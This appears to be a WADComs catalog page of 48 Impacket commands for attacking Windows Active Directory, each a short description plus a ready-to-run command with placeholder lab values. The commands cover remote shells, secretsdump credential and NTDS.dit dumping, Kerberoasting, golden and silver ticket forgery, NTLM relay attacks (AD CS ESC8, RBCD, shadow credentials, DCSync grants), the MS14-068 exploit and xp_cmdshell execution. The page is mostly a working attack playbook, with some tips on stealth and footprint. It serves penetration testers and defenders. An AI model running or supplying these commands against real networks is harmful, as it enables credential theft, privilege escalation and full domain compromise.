Catalog WADComs

WAD · Tool

Impacket

48 techniques Linux · Windows · ActiveDirectoryWADComs GPL-3.0
Impacket-DCOMExec
Execution LinuxWindowsActiveDirectory

Impacket's dcomexec.py provides an interactive shell on the Windows host similar to wmiexec.py, but using varying DCOM endpoints. Currently supports MMC20.Application, ShellWindows, and ShellBrowserWindow DCOM objects. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123 DCOM Object: MMC20

python3 dcomexec.py -object MMC20 test.local/john:password123@10.10.10.1
Native
Exploitation
Requires
Password, Username
Services
DCOM
Impacket-Get-GPPPassword
ExecutionDiscovery LinuxWindowsActiveDirectory

Python script to automatically extract and decrypt Group Policy Preferences (GPP) passwords using streams for carving files instead of mounting shares Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 Get-GPPPassword.py 'TEST.local/john:password123@DC01.TEST.local' -dc-ip 10.10.10.1
Native
Exploitation, Enumeration
Requires
Password, Username, Hash
Services
SMB
Impacket-GetADUsers
Discovery LinuxWindowsActiveDirectory

Impacket's GetADUsers.py will attempt to gather data about the domain's users and their corresponding email addresses. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1
Native
Enumeration
Requires
Username, Password
Services
Kerberos
Impacket-GetNPUsers
Execution LinuxWindowsActiveDirectory

Impacket's GetNPUsers.py will attempt to harvest the non-preauth AS_REP responses for a given list of usernames. These responses will be encrypted with the user's password, which can then be cracked offline. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username List: usernames.txt Output File: hashes.txt

python3 GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes.txt
Native
Exploitation
Requires
Username
Services
Kerberos
Impacket-GetUserSPNs
Execution LinuxWindowsActiveDirectory

Impacket's GetUserSPNs.py will attempt to fetch Service Principal Names that are associated with normal user accounts. What is returned is a ticket that is encrypted with the user account's password, which can then be bruteforced offline. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 GetUserSPNs.py test.local/john:password123 -dc-ip 10.10.10.1 -request
Native
Exploitation
Requires
Password, Username
Services
Kerberos
Impacket-GoldenTicket
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's ticketer.py can perform Golden Ticket attacks, which crafts a valid TGT ticket using a valid user's NTLM hash. It is then possible to access any service using the TGT by requesting a TGS for that service. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: b18b4b218eccad1c223306ea1916885f Domain SID: S-1-5-21-1339291983-1349129144-367733775

python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 john
Native
Exploitation, Persistence
Requires
Username, Hash
Services
Kerberos
Impacket-LookUpSID
Discovery LinuxWindowsActiveDirectory

Impacket's lookupsid.py performs bruteforcing of Windows SID's to identify users/groups on the remote target. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 lookupsid.py test.local/john:password123@10.10.10.1
Native
Enumeration
Requires
Password, Username
Services
RPC
Impacket-NTLMRelayX-Socks
Execution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols (SMB, HTTP, LDAP, etc.). The below command creates an SMB relay server that targets the IP 10.10.10.1, meaning any credentials that the SMB server recieves, gets relayed to that IP to attempt to authenticate and create a socks connection to the host. In order for the SMB server to recieve credentials to relay, dementor.py or Petitpotam can be used to trigger a forced authentication from the IP it's targeting to an attacker controlled SMB server. Command Reference: Target IP: 10.10.10.1

python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -socks
Native
Exploitation
Requires
No_Creds
Services
NTLM, SMB
Impacket-NTLMRelayX-WPAD
Execution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols (SMB, HTTP, LDAP, etc.). The below command will perform WPAD spoofing to force the victim machine to authenticate to the attacker controlled host. The command will then relay the authentication to create a new computer object and grant it delegation rights to impersonate users on the victim machine. This command should be used in conjunction with mitm6. Command Reference: Target Domain Controller: dc.test.local

python3 ntlmrelayx.py -t ldaps://dc.test.local -wh test-wpad --delegate-access
Native
Exploitation
Requires
No_Creds
Services
NTLM, LDAP
Impacket-NTLMRelayX
Execution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols (SMB, HTTP, LDAP, etc.). The below command creates an SMB relay server that targets the IP 10.10.10.1, meaning any credentials that the SMB server recieves, gets relayed to that IP to attempt to authenticate and execute 'whoami /all'. In order for the SMB server to recieve credentials to relay, dementor.py can be used to trigger a forced authentication from the IP it's targeting to an attacker controlled SMB server. Command Reference: Target IP: 10.10.10.1

python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -c 'whoami /all' -debug
Native
Exploitation
Requires
No_Creds
Services
NTLM
Impacket-PsExec-PassTheTicket
Execution LinuxWindowsActiveDirectory

Impacket's psexec.py offers psexec like functionality. This will give you an interactive shell on the Windows host. psexec.py also allows using Service Tickets, saved as a ccache file for Authentication. It can be obtained via Impacket's GetST.py Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john

export KRB5CCNAME=/full/path/to/john.ccache; python3 psexec.py test.local/john@10.10.10.1 -k -no-pass
Native
Exploitation
Requires
TGS, Username
Services
SMB
Impacket-RBCD
ExecutionPrivilege EscalationPersistence LinuxWindowsActiveDirectory

Impacket rbcd.py will modify the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer with security descriptor of another computer. The following command adds the related security descriptor of the created EVILCOMPUTER to the msDS-AllowedToActOnBehalfOfOtherIdentity property of DC01. This basically means that EVILCOMPUTER can get impersonated service tickets for DC01 using getST.py. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: :A9FDFA038C4B75EBC76DC855DD74F0DA Delegate To: DC01$ Delegate From: EVILCOMPUTER$

python3 rbcd.py -action write -delegate-to "DC01$" -delegate-from "EVILCOMPUTER$" -dc-ip 10.10.10.1 -hashes :A9FDFA038C4B75EBC76DC855DD74F0DA test.local/john
Native
Exploitation, PrivEsc, Persistence
Requires
Username, Hash
Services
Kerberos, SMB, LDAP
Impacket-Reg
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's reg.py is a remote registry manipulation tool, providing similar functionality to reg.exe in Windows. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 reg.py test.local/john:password123@10.10.10.1 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s
Native
Exploitation, Persistence
Requires
Password, Username
Services
SMB
Impacket-SAMRDump
Discovery LinuxWindowsActiveDirectory

Impacket's samrdump.py communicates with the Security Account Manager Remote (SAMR) interface to list system user accounts, available resource shares, and other sensitive information. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 samrdump.py test.local/john:password123@10.10.10.1
Native
Enumeration
Requires
Password, Username
Services
RPC
Impacket-SMBClient
Discovery LinuxWindowsActiveDirectory

Impacket's smbclient.py is a generic smbclient, allowing you to list shares and files, rename, upload and download files and create and delete directories. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 smbclient.py test.local/john:password123@10.10.10.1
Native
Enumeration
Requires
Password, Username
Services
SMB
Impacket-SMBExec
Execution LinuxWindowsActiveDirectory

Impacket's smbexec.py. This will give you an interactive shell on the Windows host. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 smbexec.py test.local/john:password123@10.10.10.1
Native
Exploitation
Requires
Password, Username
Services
SMB
Impacket-SecretsDump-NTDS
Execution LinuxWindowsActiveDirectory

Impacket's secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit. The following command will attempt to use the specified machines NTDS.dit and system file to extract the user account hashes associated with that machine. Command Reference: Target IP: 10.10.10.2 Domain Controller: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.10.1 test.local/john:password123@10.10.10.2
Native
Exploitation
Requires
Password, Username
Services
Kerberos, NTLM
Impacket-SecretsDump
Execution LinuxWindowsActiveDirectory

Impacket's secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit. The following command will attempt to dump all secrets from the target machine using the previously mentioned techniques. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 secretsdump.py test.local/john:password123@10.10.10.1
Native
Exploitation
Requires
Password, Username
Services
Kerberos, NTLM
Impacket-Services
Discovery LinuxWindowsActiveDirectory

Impacket's services.py communicates with Windows services using the MSRPC interface. It can perform many different actions on any service. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123 Action: list

python3 services.py test.local/john:password123@10.10.10.1 list
Native
Enumeration
Requires
Password, Username
Services
RPC
Impacket-SilverTicket
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's ticketer.py can perform Silver Ticket attacks, which crafts a valid TGS ticket for a specific service using a valid user's NTLM hash. It is then possible to gain access to that service. The following command crafts a TGS for the SMB service, which can then be used to gain a shell. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: b18b4b218eccad1c223306ea1916885f Domain SID: S-1-5-21-1339291983-1349129144-367733775 SMB Service: cifs

python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 -spn cifs/test.local john
Native
Exploitation, Persistence
Requires
Username, Hash
Services
Kerberos
Impacket-WMIExec
Execution LinuxWindowsActiveDirectory

Impacket's wmiexec.py uses the Windows Management Instrumentation (WMI) to give you an interactive shell on the Windows host. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 wmiexec.py test.local/john:password123@10.10.10.1
Native
Exploitation
Requires
Password, Username
Services
WMI
Impacket-addcomputer-LDAPS
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's addcomputer.py will add a computer account to the domain and set its password. The following command will create a new computer over LDAPS. Plain LDAP is not supported, as it doesn't allow setting the password of the new computer. Command Reference: Target IP: 10.10.10.1 Domain: test.local New Computer Password: TestPassword123 New Computer Name: testComputer Username: john Password: password123

python3 addcomputer.py -method LDAPS -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/john:password123
Native
Exploitation, Persistence
Requires
Username, Password
Services
LDAP
Impacket-addcomputer-SMB
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's addcomputer.py will add a computer account to the domain and set its password. The following command will create a new computer over the SMB by specifying the `SAMR` method. Command Reference: Target IP: 10.10.10.1 Domain: test.local New Computer Password: TestPassword123 New Computer Name: testComputer Username: john Password: password123

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/john:password123
Native
Exploitation, Persistence
Requires
Username, Password
Services
SMB
Impacket-atexec-Creds
Execution LinuxWindowsActiveDirectory

Impacket's atexec.py uses the Task Scheduler service on the remote Windows host to execute the given command. It will create a windows task with a random name, trigger the task, and then delete it. The following command executes `whoami` on the remote Windows host. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123 Command Executed: whoami

python3 atexec.py test.local/john:password123@10.10.10.1 whoami
Native
Exploitation
Requires
Password, Username
Services
SMB
Impacket-atexec-Hash
Execution LinuxWindowsActiveDirectory

Impacket's atexec.py uses the Task Scheduler service on the remote Windows host to execute the given command. It will create a windows task with a random name, trigger the task, and then delete it. The following command executes `whoami` on the remote Windows host, authenticating with the hash of user `john`. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 Command Executed: whoami

python3 atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 test.local/john@10.10.10.1 whoami
Native
Exploitation
Requires
Hash, Username
Services
SMB
Impacket-getST-Creds
ExecutionPrivilege EscalationPersistence LinuxWindowsActiveDirectory

Impacket's getST.py will request a Service Ticket and save it as ccache. If the account has constrained delegation privileges, you can use the `-impersonate` flag to request a ticket on behalf of another user. The following command will impersonate the Administrator account and request a Service Ticket on its behalf for the `www` service on host `server01.test.local`. Command Reference: Target IP: 10.10.10.1 Domain: test.local Service: www Host Name: server01.test.local Username: john Password: password123 Impersonated User: Administrator

python3 getST.py -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/john:password123
Native
Exploitation, PrivEsc, Persistence
Requires
Username, Password
Services
Kerberos
Impacket-getST-Hash
ExecutionPrivilege EscalationPersistence LinuxWindowsActiveDirectory

Impacket's getST.py will request a Service Ticket and save it as ccache. If the account has constrained delegation privileges, you can use the `-impersonate` flag to request a ticket on behalf of another user. The following command will impersonate the Administrator account using the hashed password of user `john` and request a Service Ticket on its behalf for the `www` service on host `server01.test.local`. Command Reference: Target IP: 10.10.10.1 Domain: test.local Service: www Host Name: server01.test.local Username: john Hash: :2a3de7fe356ee524cc9f3d579f2e0aa7 Impersonated User: Administrator

python3 getST.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/john
Native
Exploitation, PrivEsc, Persistence
Requires
Hash, Username
Services
Kerberos
Impacket-getTGT
Execution LinuxWindowsActiveDirectory

Impacket's getTGT.py uses a valid user's NTLM hash to request Kerberos tickets, in order to access any service or machine where that user has permissions. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: 2a3de7fe356ee524cc9f3d579f2e0aa7

python3 getTGT.py test.local/john -dc-ip 10.10.10.1 -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
Native
Exploitation
Requires
Hash, Username
Services
Kerberos
Impacket-dacledit-DCSync NEW
Privilege EscalationPersistenceCredential Access LinuxActiveDirectoryWindows

Impacket's dacledit.py reads and modifies the DACL of an Active Directory object over LDAP. With `-action write -rights DCSync` against the domain naming context it grants a principal the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, enabling that principal to perform a DCSync and dump every domain hash. This is a classic ACL-based domain-privilege-escalation and persistence primitive; it requires WriteDacl over the domain object. Back up the DACL with `-action read` first so you can restore it. Command Reference: DC IP: 10.10.10.1 Domain: test.local Username: john Password: password123 Granted principal: john

# Grant john DCSync rights on the domain object
dacledit.py -action 'write' -rights 'DCSync' -principal 'john' -target-dn 'DC=test,DC=local' -dc-ip 10.10.10.1 'test.local/john:password123'
Native
PrivEsc, Persistence, Credential Access
Requires
Username, Password
Services
LDAP
Impacket-DescribeTicket NEW
Discovery LinuxActiveDirectoryWindows

Impacket describeTicket.py parses a Kerberos ticket file (ccache or kirbi) and prints its fields, and when given the relevant key it decrypts the enc-part and dumps the PAC, exposing the user, RID, group memberships and PAC signatures. It is the Linux counterpart to Rubeus describe and is useful for validating forged or captured tickets before use. Runs fully offline. Command Reference: Ticket file: out.ccache

# Describe a ticket offline (envelope, flags, and the PAC where it can be read)
describeTicket.py out.ccache
Native
Discovery
Requires
TGT
Services
Kerberos
Impacket-FindDelegation NEW
Discovery LinuxActiveDirectoryWindows

Impacket findDelegation.py enumerates every delegation relationship in the domain over LDAP: unconstrained, constrained (S4U2Proxy allowed-to-delegate-to targets) and resource-based constrained delegation. The output identifies accounts and computers that can be abused for privilege escalation and lateral movement via Kerberos delegation. Requires any valid domain credentials. Command Reference: Domain: test.local Username: john Password: password123 DC IP: 10.10.10.1

# Enumerate all delegation relationships in the domain
findDelegation.py test.local/john:password123 -dc-ip 10.10.10.1
Native
Enumeration, Discovery
Requires
Username, Password
Services
Kerberos, LDAP
Impacket-GetUserSPNs-NoPreauth NEW
DiscoveryCredential Access LinuxActiveDirectoryWindows

GetUserSPNs.py with -no-preauth performs Kerberoasting without any valid domain credentials. It leverages an account that has Kerberos pre-authentication disabled (an AS-REP roastable account): by altering the sname in a crafted KRB_AS_REQ, the KDC returns a service ticket instead of a TGT, encrypted with the target service account's key. Because you cannot query LDAP for SPNs without creds, you must supply candidate service-account names with -usersfile. The resulting TGS hashes are cracked offline. You only need the name of one pre-auth-disabled account plus a list of accounts to roast. Command Reference: No_Creds (name of an AS-REP roastable account: john) Candidate accounts file: usernames.txt Domain: test.local Domain Controller host: dc.test.local

# 'john' is an account with Kerberos pre-auth disabled; usernames.txt lists SPN accounts to roast
GetUserSPNs.py -no-preauth john -usersfile usernames.txt -dc-host dc.test.local test.local/
Native
Enumeration, Credential Access
Requires
No_Creds
Services
Kerberos, LDAP
Impacket-GoldenPac NEW
Privilege EscalationExecutionLateral Movement LinuxActiveDirectoryWindows

Impacket goldenPac.py exploits MS14-068 (CVE-2014-6324): on an unpatched domain controller the PAC signature validation can be bypassed, letting an ordinary domain user forge a TGT claiming Domain Admin membership without the krbtgt key. The script builds the forged PAC, obtains a privileged ticket and then executes a command (PSEXEC-style) on the target DC. Only affects DCs missing the 2014 patch, but remains relevant against legacy lab and CTF environments. Command Reference: Domain: test.local Username: john Password: password123 Domain Controller host: dc.test.local

# Exploit MS14-068 to gain SYSTEM on an unpatched DC
goldenPac.py test.local/john:password123@dc.test.local
Native
PrivEsc, Exploitation, Lateral Movement
MITRE
T1558
Requires
Username, Password
Services
Kerberos, SMB
Impacket-MSSQLClient NEW
Lateral MovementDiscovery LinuxActiveDirectoryWindows

mssqlclient.py from Impacket opens an interactive TDS session against a Microsoft SQL Server. It supports plain SQL logins (the local sa or a mixed-mode account) as well as Windows/domain authentication via -windows-auth, which forces NTLM instead of SQL auth. Pass-the-hash works by supplying -hashes LMHASH:NTHASH instead of a password. Use it as the entry point for all further MSSQL abuse (enumeration, xp_cmdshell, linked servers). Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123 NT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7

# SQL authentication (mixed-mode / sa account)
mssqlclient.py test.local/john:password123@10.10.10.1

# Windows (domain) authentication over NTLM
mssqlclient.py test.local/john:password123@10.10.10.1 -windows-auth

# Pass-the-hash with Windows auth
mssqlclient.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 test.local/john@10.10.10.1 -windows-auth
Native
Lateral Movement, Enumeration
Requires
Username, Password
Services
MSSQL
Impacket-MSSQLClient-XPCmdShell NEW
ExecutionPrivilege Escalation LinuxActiveDirectoryWindows

Once connected with mssqlclient.py, the built-in enable_xp_cmdshell command flips the xp_cmdshell advanced option on (via sp_configure), and xp_cmdshell then runs arbitrary OS commands as the SQL Server service account. This requires sysadmin (or equivalent) on the instance. Disable it again with disable_xp_cmdshell to reduce footprint; enabling xp_cmdshell is noisy and commonly alerted on. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

mssqlclient.py test.local/john:password123@10.10.10.1 -windows-auth

# At the SQL> prompt:
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> disable_xp_cmdshell
Native
Exploitation, PrivEsc
Requires
Username, Password
Services
MSSQL
Impacket-NTLMRelayX-AddComputer NEW
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays authentication to LDAPS and, with --add-computer, creates a new attacker-controlled computer account in the directory. This abuses the default MachineAccountQuota of 10, which permits any authenticated domain user to add computer objects. The freshly created account (with a known password) becomes a foothold for follow-on RBCD or Shadow Credentials attacks. If a computername and password are omitted, ntlmrelayx generates a random machine name and password and prints them. LDAPS is required because adding a computer with a password sets attributes that the DC only permits over a signed/sealed channel. Command Reference: Target Domain Controller: dc.test.local New computer account: ATTACKER$ Password: password123

# Create a new computer account via the relayed session
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --add-computer 'ATTACKER$' 'password123'
Native
Exploitation, Persistence
Requires
No_Creds
Services
NTLM, LDAP
Impacket-NTLMRelayX-DumpLAPS-ADCS NEW
DiscoveryCredential Access LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py can leverage a relayed LDAP session for reconnaissance instead of a direct attack. --dump-laps reads and prints any LAPS-managed local administrator passwords (ms-Mcs-AdmPwd) that the relayed identity is permitted to read, and --dump-adcs enumerates AD CS enrollment services and certificate templates to help identify ESC1-ESC8 misconfigurations. Both are low-noise post-relay actions useful for expanding access after coercing a user or computer to authenticate. The amount of data returned depends entirely on the relayed principal's read permissions. Command Reference: Target Domain Controller: dc.test.local

# Dump LAPS passwords and enumerate AD CS via the relayed LDAP session
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --dump-laps --dump-adcs
Native
Discovery, Credential Access, Enumeration
Requires
No_Creds
Services
NTLM, LDAP, ADCS
Impacket-NTLMRelayX-ESC8-ADCS NEW
Privilege EscalationCredential AccessExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays coerced NTLM authentication to the Active Directory Certificate Services (AD CS) web enrollment endpoint (certsrv), abusing ESC8. HTTP enrollment interfaces do not enforce channel binding by default, so a relayed machine or user authentication can request a certificate on behalf of the coerced account. When a Domain Controller's machine account is coerced (via PetitPotam or the printer bug) and relayed against the DomainController template, the resulting certificate authenticates as the DC and enables full domain compromise. The --adcs flag enables the attack and --template selects the certificate template (Machine/DomainController for computers, User for users). ntlmrelayx prints the issued certificate as a base64 PFX for use with PKINIT. Command Reference: AD CS enrollment endpoint: http://ca.test.local/certsrv/certfnsh.asp Template: DomainController

# Relay coerced DC auth to AD CS web enrollment (ESC8)
python3 ntlmrelayx.py -t http://ca.test.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Native
PrivEsc, Credential Access, Exploitation
Requires
No_Creds
Services
NTLM, ADCS
Impacket-NTLMRelayX-EscalateUser NEW
Privilege EscalationExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays authentication from a privileged victim to LDAP/LDAPS and, with --escalate-user, grants the named existing user the ability to perform a DCSync by writing replication (Replicating Directory Changes) ACEs onto the domain object. This is used when you already control a low-privileged user account and can coerce a privileged principal (for example a Domain Admin session or a DC machine account) to authenticate to your relay. Unlike --add-computer, this modifies an existing account you already own rather than creating a new one, which is useful in environments where MachineAccountQuota is 0. Command Reference: Target Domain Controller: dc.test.local User to escalate: john

# Grant existing user 'john' DCSync rights via relayed privileged auth
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --escalate-user john
Native
PrivEsc, Exploitation
Requires
No_Creds
Services
NTLM, LDAP
Impacket-NTLMRelayX-Interactive NEW
Lateral MovementCollectionExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py can hold a relayed SMB session open and expose it as an interactive client rather than running a single command. With -i (--interactive), each successful relay spawns an interactive SMB shell bound to a local TCP port (starting at 11000); connect to it with netcat to browse shares, upload/download files, and read data as the relayed user. This is useful when you want hands-on access to the target's filesystem instead of blind command execution, and pairs with a coercion primitive (PetitPotam, printerbug, dementor) to feed authentications into the relay. Command Reference: Target IP: 10.10.10.1 Local interactive port: 11000

# Relay to SMB and open an interactive client shell
python3 ntlmrelayx.py -t smb://10.10.10.1 -smb2support -i
# In another terminal, connect to the spawned session
nc 127.0.0.1 11000
Native
Lateral Movement, Collection, Exploitation
Requires
No_Creds
Services
NTLM, SMB
Impacket-NTLMRelayX-RBCD NEW
ExecutionPrivilege Escalation LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays coerced NTLM authentication from a victim computer to LDAPS on the Domain Controller. With --delegate-access it writes the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the relayed computer object, granting an attacker-controlled account Resource-Based Constrained Delegation (RBCD) over it. After the relay, getST.py can request a Service Ticket impersonating any user (including a Domain Admin) to the victim. This requires an account to delegate to (create one first with --add-computer or Impacket's addcomputer.py) and a coercion primitive such as PetitPotam or the printer bug to force the victim's machine account to authenticate. LDAPS is preferred because RBCD writes require a channel not protected by LDAP signing. Command Reference: Target Domain Controller: dc.test.local Attacker computer account: ATTACKER$

# Relay coerced machine auth to LDAPS and configure RBCD on the victim object
# (auto-creates a computer account to delegate from when you hold MachineAccountQuota)
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --delegate-access
Native
Exploitation, PrivEsc
Requires
No_Creds
Services
NTLM, LDAP
Impacket-NTLMRelayX-ShadowCredentials NEW
PersistenceCredential AccessExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays authentication to LDAP/LDAPS and, with --shadow-credentials, performs a Shadow Credentials attack by writing a new Key Credential into the target's msDS-KeyCredentialLink attribute. This adds an attacker-controlled certificate/key pair to the account, allowing later PKINIT authentication to obtain a TGT (and the account's NT hash via UnPAC-the-hash) without changing its password. --shadow-target selects which principal to backdoor; the relayed identity must have write access (GenericWrite/GenericAll) to that object. The attack requires the domain to support Key Trust (a KDC with PKINIT, i.e. an AD CS PKI or Server 2016+). ntlmrelayx saves the generated certificate so you can authenticate with it afterwards using gettgtpkinit.py or PKINITtools. Command Reference: Target Domain Controller: dc.test.local Shadow target account: DC01$

# Add a Key Credential to the target account via relayed write access
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --shadow-credentials --shadow-target 'DC01$'
Native
Persistence, Credential Access, Exploitation
Requires
No_Creds
Services
NTLM, LDAP
Impacket-owneredit NEW
Privilege EscalationExecutionPersistence LinuxActiveDirectoryWindows

Impacket's owneredit.py reads or changes the owner set in an object's security descriptor over LDAP. Because the owner has implicit WriteDacl, `-action write -new-owner` lets you seize ownership of a target you hold WriteOwner over, then combine it with dacledit.py to grant yourself full control. Use `-action read` first to record the original owner for cleanup. Together owneredit + dacledit reproduce the WriteOwner-to-takeover chain on Linux. Command Reference: DC IP: 10.10.10.1 Domain: test.local Username: john Password: password123 New owner: john Target object: victim

# Set john as the owner of the victim object
owneredit.py -action 'write' -new-owner 'john' -target 'victim' -dc-ip 10.10.10.1 'test.local/john:password123'
Native
PrivEsc, Exploitation, Persistence
Requires
Username, Password
Services
LDAP
Impacket-RaiseChild NEW
Privilege EscalationLateral MovementExecution LinuxActiveDirectoryWindows

Impacket raiseChild.py automates child-domain-to-forest-root privilege escalation by abusing the intra-forest trust. Given Domain Admin credentials in a child domain it DCSyncs the child krbtgt, forges a golden ticket with an Enterprise Admins ExtraSid from the forest root, and uses it to compromise the parent, optionally executing a command on the root DC. Requires child-domain administrative credentials. Command Reference: Child domain: test.local Username: john Password: password123

# Escalate from child-domain admin to forest root via ExtraSid golden ticket
raiseChild.py test.local/john:password123
Native
PrivEsc, Lateral Movement, Exploitation
Requires
Username, Password
Services
Kerberos
Impacket-TicketConverter NEW
CollectionDefense Evasion LinuxActiveDirectoryWindows

Impacket ticketConverter.py converts between the .kirbi format (used by Mimikatz and Rubeus) and the .ccache format (used by Impacket and MIT Kerberos), in either direction, based on the input file extension. This bridges Windows and Linux tooling: dump a TGT with Rubeus, convert it, and reuse it from an Impacket workflow (or vice versa). It performs no network activity. Command Reference: Input ticket: ticket.kirbi Output ticket: out.ccache

# kirbi -> ccache (for Impacket)
ticketConverter.py ticket.kirbi out.ccache

# ccache -> kirbi (for Rubeus/Mimikatz)
ticketConverter.py out.ccache ticket.kirbi
Native
Collection, Defense Evasion
Requires
TGT
Services
Kerberos
Impacket-Ticketer-AES NEW
PersistenceExecution LinuxActiveDirectoryWindows

Impacket ticketer.py forges golden (or silver) tickets offline; supplying -aesKey signs the ticket with the krbtgt AES256 key instead of the RC4/NT hash, producing an AES-encrypted TGT that blends in with modern Kerberos traffic. The resulting .ccache can be exported to KRB5CCNAME and used by any Impacket tool for pass-the-ticket. Requires the krbtgt AES key and the domain SID. Command Reference: AES256 key: 5db474e563f34e4bb62e04eecd4a6f92 Domain SID: S-1-5-21-1339291983-1349129144-367733775 Domain: test.local Target user: administrator

# Forge an AES golden ticket -> administrator.ccache
ticketer.py -aesKey 5db474e563f34e4bb62e04eecd4a6f92 -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local administrator

# Use it
export KRB5CCNAME=administrator.ccache
Native
Persistence, Exploitation
Requires
AES_Key
Services
Kerberos